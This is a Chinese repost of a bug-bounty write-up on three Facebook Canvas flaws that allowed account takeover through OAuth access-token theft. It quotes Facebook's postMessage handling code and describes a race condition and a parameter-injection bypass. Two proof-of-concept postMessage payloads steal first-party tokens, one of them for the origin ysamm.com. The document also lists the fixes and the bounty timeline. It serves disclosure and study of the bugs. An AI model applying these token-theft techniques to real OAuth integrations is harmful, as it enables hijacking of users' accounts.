Facebook Canvas漏洞导致账户接管

Facebook Canvas漏洞导致账户接管

概括

在发布了关于我之前在 Facebook 游戏平台 ( Canvas ) 中发现的漏洞的文章后,我考虑更深入地研究代码以及修复后对其所做的更改,因为有时修复漏洞可能会引入另一个漏洞. 在这篇博文中,我将写另外 3 个导致 Facebook 帐户接管的漏洞。

漏洞 1:条件竞争漏洞

上次我深入解释了代码的某些部分是如何工作的,并且实际上建议您查看其余部分(幸运的是您没有),上次我专注于构建要发送到 Facebook OAuth 端点的请求的部分,这次我关注的是如何将包含 access_token 的请求的结果传递到 iframe 中的游戏网站。这里主要分析PlatformAppController模块、showDialog函数等:

window.addEventListener("message", function(a) {
        if (a.data.xdArbiterSyn) d("SecurePostMessage").sendMessageAllowAnyOrigin_UNSAFE(a.source, {
            xdArbiterAck: !0
        });
        else if (a.data.xdArbiterRegister) {
            var b = l.register(a.source, a.data.xdProxyName, a.data.origin, a.origin);
...
__d("XdArbiter", ... {
...
register: function(a, b, d, e) {
                e = b != null && b !== "" ? b : h;
                c("Arbiter").inform("XdArbiter/register", {
                    origin: d

__d("PlatformAppController",...  (function(a, b, c, d, e, f, g, h) {
...
        u = new(c("JSONRPC"))(function(a, b) {
            var d = b.origin || k;
            b = b.source;
            if (b == null) {
                var e = c("ge")(j);
                b = e.contentWindow
            }
            c("XdArbiter").send("FB_RPC:" + a, b, d)
        });
    c("Arbiter").subscribe("XdArbiter/register", function(a, b) {
        q && b.origin != k && new(c("AsyncRequest"))().setURI("/platform/app_owned_url_check/").setData({
            appid: q,
            url: b.origin
        }).setHandler(function(a) {
            a = a.getPayload();
            a.allowed && (k = b.origin)
        }).send()
    });

    function f(a, b, e) {
        var f, g = a.method;
        delete a.method;
        delete a.access_token;
        delete a.next;
        delete a.context;
        delete a.locale;
        a.display = "async";
        if (g == null || typeof g !== "string" || !/^[\w\-_.]+$/.test(g)) throw new Error("Malformed method name");
        Object.keys(a).forEach(function(b) {
            if (/[\s\x80-\x9f]/.test(b)) delete a[b];
            else if (/\./.test(b)) {
                var c = b.replace(/\./g, "_");
                Object.prototype.hasOwnProperty.call(a, c) && delete a[b]
            }
        });
        var h = (f = this.origin) != null ? f : k;
        typeof a.redirect_uri === "string" && new(c("URI"))(a.redirect_uri).getOrigin() === new(c("URI"))(this.origin).getOrigin() && (h = a.redirect_uri);
        a.redirect_uri = h;
        g == "apprequests" && (g = "app_requests", a.context = "canvas_app_requests");
        if (g == "pay") {
            f = a.action;
            (f === "purchaseitem" || f === "purchase_item") && r && r.usePaymentModules && (g = "payment_module", a.action = "payment_module");
            f === "purchaseiap" && r && r.iapUsePaymentModule && (g = "payment_module_iap", a.action = "payment_module_iap");
            f === "purchaseitem" || f === "purchase_item" || f === "purchaseiap" ? i[g] = !0 : r && r.useNewPayDialog && (f === "create_subscription" || f === "createsubscription" || f === "changesubscription" || f === "modifysubscription" || f === "cancelsubscription" || f === "reactivatesubscription" || f === "settlesubscription") ? (g = "payment_subscription", f === "create_subscription" && (a.action = "createsubscription")) : i[g] = !1
        }
        g == "fbpromotion" && (g = "payer_promotion", a.action = "payer_promotion");
        g === "stream_publish" && (g = "stream.publish");
        (g == "permissions.oauth" || g == "permissions.request" || g == "oauth") && (g = "oauth");
        g === "stream.publish" && (i[g] = !0);
        a = v(a, g);
        if (i[g]) {
            w(g, a, function(d) {
                d.error_code == 1340004 ? c("CurrentUser").getID() && c("CurrentUser").getID() != "0" ? b(d) : new(c("URI"))("/login.php").addQueryData("next", c("URI").getRequestURI().toString()).go() : g === "app_requests" && d.error_code == 1349146 ? x(g, a, b, d, h) : b(d)
            });
            return
        }
        f = new(c("URI"))("/fbml/ajax/dialog/" + g.replace(/\./g, "_")).setQueryData(a);
        f = new(c("AsyncRequest"))().setMethod("GET").setReadOnly(!0).setURI(f).setAbortHandler(function() {
            e(d("PlatformDialogClient").REQUEST_ABORTED_ERROR)
        });
        new(c("Dialog"))().setAsync(f).setModal(!0).setWideDialog(!0).show().setCloseHandler(b)
    }
   ...
    function x(a, b, c, d, e) {
        b.redirect_uri = e, w("oauth", b, function(f) {
            f.error ? c(d) : (b.redirect_uri = e, w(a, b, function(a) {
                c(a)
            }))
        })
    }
    u.local.setSize = b;
    u.local.getPageInfo = e;
    u.local.scrollTo = a;
    u.local.showDialog = f;
  ...
}), 98);

函数f (u.local.showDialog) 从 iframe 接收消息并构造要发送到 OAuth 端点的请求(redirect_uri 和附加参数),它还将确保正如我们在上一篇文章中指出的那样要包含在对 OAuth 端点的请求中的 redirect_uri 参数中的“Origin” URL 将与稍后在 postMessage 方法中用于向 iframe 发送消息的targetOrigin相同,这意味着即使我们可以将 Origin 指定为 https:// www.instagram.com 和 Instagram 应用程序的 app_id 并且我们从服务器响应中获得了有效的 access_token,因为我们的 iframe 没有 www.instagram.com 来源,所以不会将 access_token 传递给我们。好吧,找到了绕过这个安全机制的方法:

在第 38 行,我们可以注意到有一个检查 Origin 提供的 (this.origin) 是否为 null,此检查是作为对先前漏洞 (2) 的修复添加的,这一次如果 Origin 为 null 或未定义应用程序应该使用变量“ k ”的值。变量“ k ”会自动设置为游戏应用程序设置中设置的 URL (iframe URL) 的来源,但其值可以稍后更改。

在第 12 行,我们可以注意到有一个“ XdArbiter/register ”Arbiter 消息的侦听器,在接收到有效消息后,它会向端点/platform/app_owned_url_check/发送一个服务器请求,参数为 app_id(当前应用 id /攻击者应用程序ID)和我们试图设置的URL“k ”到。

Facebook Canvas漏洞导致账户接管

所有 Facebook 应用程序都将fbconnect://success作为有效的 redirect_uri,我们可以通过发送注册消息将“ k ”设置为该值,这里的技巧是我们可以在应用程序仍在等待响应时发送另一个注册消息到 OAuth 端点,并将“ k ”改回攻击者网站。现在,请注意第 4 行,将选择 k,但“k”具有新值,而不是“fbconnect://success”,这将允许我们获得第一方 access_token。

概念证明(POC)

window.parent.postMessage({xdArbiterRegister:true,origin:"fbconnect://success"},"*");} 
msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","app_id":"APP_ID","client_id":"APP_ID","response_type":"token"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg }
window.parent.postMessage(fullmsg,"*")
setTimeout(function(){
    window.parent.postMessage({xdArbiterRegister:true,origin:"https://ysamm.com"},"*");} 
},1000);

修复

元安全团队通过引入一种锁定机制(变量“s”)修复了这个漏洞,该机制最初会设置为false,但如果由于 Origin 为空而在showDialog中选择了“ k ”,“s”将被设置为true。这个变量“s”的状态当然会被添加为在XdArbiter/register中改变或不改变“ k ”的条件。此外,最后他们决定确保发送到 OAuth 端点的 app_id 只能是当前的 app_id,而不是跨窗口消息中指定的 app_id。

漏洞 2:绕过之前的修复

我不会过多谈论这个漏洞,我只介绍了对 app_id 限制的绕过以及对锁定机制的先前修复的绕过。这种绕过引入了一种罕见的情况,需要满足时间准确性和其他条件才能工作。安全团队减轻了这些绕过并进行了更多的加固,不幸的是这并没有阻止我发现第三个漏洞。

漏洞 3:加密参数

至此,这行代码(a.app_id = q, a.client_id = q); 添加以确保我们不能选择除当前应用程序ID之外的其他应用程序ID。当然,正如您在上一篇博文中可能注意到的那样,服务器端应用程序对参数有奇怪的解释,而这正是我所关注的。我发现如果 app_id 和 client_id 被强制,我们可以从发送的消息中获得另外两个参数,可以命名为app_id[0](它的值是一个空字符串)。添加此参数将撤销 app_id,我们现在将收到一条消息,指出未指定 app_id。我注意到仔细生成的 redirect_uri 具有相同的行为,如果我们添加另一个名为redirect_uri[0]的参数,这将导致 redirect_uri 被撤销。

但是,即使使用这种服务器端行为,我们实际上也无法为 app_id 和 redirect_uri 指定新值,我们只能撤销它们。很可能,我发现了一个名为encrypted_query_string的新参数。此参数将包含一组其他参数及其值,但采用加密格式,稍后可以在服务器端解密。我们如何使用我们想要的 app_id 和 redirect_uri 生成加密字符串?好吧,访问 https://facebook.com/dialog/oauth?app_id=APP_ID&redirect_uri=REDIRECT_URI 很简单。在这里你应该注意到我们请求的是facebook.com域而不是www.facebook.com。将重定向到 https://www.facebook.com/dialog/oauth?encrypted_query_string= ENCODED_FORMAT

为了让我们的攻击起作用,我们将 APP_ID 指定为 Instagram app_id,并将 redirect_uri 指定为 Instagram 应用程序的有效 redirect_uri。

概念证明(poc)

msg = JSON.stringify({"jsonrpc":"2.0",
                                    "method":"showDialog",
                                    "id":1,
                                    "params":[{"method":"permissions.oauth","app_id":"Random",
"client_id":"Random","app_id[0]":"","redirect_uri":"Random",
"redirect_uri[0]":"","response_type":"token",
"encrypted_query_string":"ENCODED_FORMAT"}]})
                fullmsg = {xdArbiterHandleMessage:true,message:"FB_RPC:" + msg , origin:"https://ysamm.com"}
window.parent.postMessage(fullmsg,"*")

请注意,我们在消息中设置了 app_id、client_id 和 redirect_uri,即使它们的值将被替换,因为我们需要在对 OAuth 端点的请求中保持此顺序。

修复

这一次,最终 Meta 决定应用明显的修复并限制我们对 OAuth 请求的控制。添加了允许参数的白名单,应用程序将过滤掉任何其他参数,当然 app_id 和 client_id 始终设置为当前 app_id。

时间线

  1. 2021 年9 月 23 日— 报告已发送
    2021 年9 月 24 日— Facebook 承认
    2021 年9 月 28 日— Facebook 修复
    2021 年 10 月 14 日 — Facebook 奖励 42000 美元。
  2. 2021 年10 月 29 日—报告已发送 
    2021 年10 月 29 日—Facebook 承认
    2021 年10月 10 日—Facebook 修复
    2021 年 12 月 22 日—Facebook 奖励 12500 美元。
  3. 2022 年 1 月 10 日—报告已发送
    2022 年 1 月 11 日—Facebook 承认
    2022 年 1 月 24 日—Facebook 修复
    2022 年 3 月 3 日—Facebook 奖励 43750 美元。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注